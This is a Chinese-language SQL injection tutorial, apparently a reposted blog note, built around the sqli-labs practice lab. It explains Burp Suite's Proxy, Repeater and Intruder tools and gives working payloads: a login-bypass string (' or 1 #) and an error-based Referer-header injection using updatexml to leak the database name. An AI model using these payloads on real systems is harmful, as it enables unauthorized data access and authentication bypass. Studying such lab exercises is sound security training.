SQL注入-工具篇


BurpSuit

Targert 放置網站的信息

  site map 網站地圖

Proxy 代理 

  Intercept 攔截 抓到的包都放在這里

  http hsitory http請求記錄

 

options 抓包相關配置 

spider 爬蟲

intruder 暴力破解

repeater 重放包

decoder 字符解碼編碼

抓取返回包(Proxy)

  options下的

  intercept server responses 下的 勾選 intercept responses based on the following rules

右鍵 sent to repeat  然后點擊Repeater

 

判斷列的個數。

先找出注入點 

右鍵 :sent to intruder 

點擊 intruder 選擇 payloads 

positions > clear$ > 選擇需要變的東西 order by 后面的數字 > add$ > payload

payload sets > payload type (numbers) > payload options[Numbers] > From >To > Step >

菜單欄的Intruder 選擇start attack > 進行分析。

 positions

GET /offlintab.appcache HTTP/1.1
Host: offlintab.firefoxchina.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://offlintab.firefoxchina.cn/
X-Moz: offline-resource
Cookie: Hm_lvt_dd4738b5fb302cb062ef19107df5d2e4=1523955400,1524015862,1524029076,1524186546; Hm_lpvt_dd4738b5fb302cb062ef19107df5d2e4=1524186546
Connection: keep-alive
If-Modified-Since: Fri, 23 Feb 2018 03:27:29 GMT
If-None-Match: "5a8f8a21-33a"

GET http請求的方法

/offlintab.appcache 請求的服務器的 URL

Host: ip加端口

User-Agent:當前瀏覽器的信息

Accept: 當前請求的格式

Accept-Encoding: 編碼格式

 

post 注入

猜測 后台的語句

select count(1) where username=' ' and password=' '

如果后面的用戶名密碼都正確 登錄成功 只要確保 前面的用戶名為真即可

select count(1) where username=' ‘ or 1 #' and password=' '

 

referer注入

前提 登錄成功

http://127.0.0.1/sqli-labs-master/Less-19/ 已知用戶名密碼均為admin   c'+updatexml(1,concat(0x7e,database(),0x7e),1)+'
在輸入框中 試着輸入 ' " )等都沒有報錯 

查看源碼可以得出 輸入的特殊字符都被過濾掉了

$value = stripslashes($value);

因此普通的注入顯然不會出現任何的報錯等信息

用burpsuite 抓一下包  看到有Referer: http://127.0.0.1/sqli-labs-master/Less-19/ 

從此處入手 輸入 ' 發現報錯

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '127.0.0.1')' at line 1

將關鍵的部分提取出來是 : 127.0.0.1') 分析還是無法得出什么結論 

輸入 ') 又有報錯 :You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '', '127.0.0.1')' at line 1

', '127.0.0.1')

發現 里面存在着一個逗號 

有逗號的SQL語句 包括 update , insert ,

update table_name set name ='root ',password='root' where id='1' ;

insert into table_name (name,passwd) values ('root','root');

由於后面並沒有條件 因此判斷是 insert語句

insert into table_name (name,passwd) values (' ','127.0.0.1'+updatexml(1,concat(0x7e,database(),0x7e),1)+');

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM